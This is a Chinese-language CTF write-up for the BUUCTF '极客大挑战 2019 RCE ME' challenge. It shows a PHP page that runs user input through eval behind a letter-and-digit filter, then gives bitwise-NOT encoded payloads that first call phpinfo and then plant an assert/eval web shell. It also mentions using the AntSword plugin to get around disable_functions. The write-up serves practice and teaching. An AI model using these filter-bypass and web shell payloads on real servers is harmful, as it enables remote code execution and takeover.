0
点赞
收藏
分享

微信扫一扫

BUUCTF[极客大挑战 2019]RCE ME

岛上码农 2022-03-12 阅读 70
web安全php

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

打开链接发现,发现是正则绕过,这里我们可以用取反来绕过

<?php 
error_reporting(0);
echo(urlencode(~'phpinfo'));
 ?>

payload:?code=(~%8F%97%8F%96%91%99%90)();

查看phpinfo,发现函数禁用有点多

 写一个shell试试能不能连上

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "          ";
$c='(eval($_POST[bypass]))';
$d=urlencode(~$c);
echo $d;
 ?>

payload:?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9D%86%8F%9E%8C%8C%A2%D6%D6);

 

shell检测有效,连上蚁剑,这里可以使用蚁剑的插件来绕开disable_functions

 

 使用此插件打开终端

然后输入/readflag,得到flag

 

 

 

举报

相关推荐

0 条评论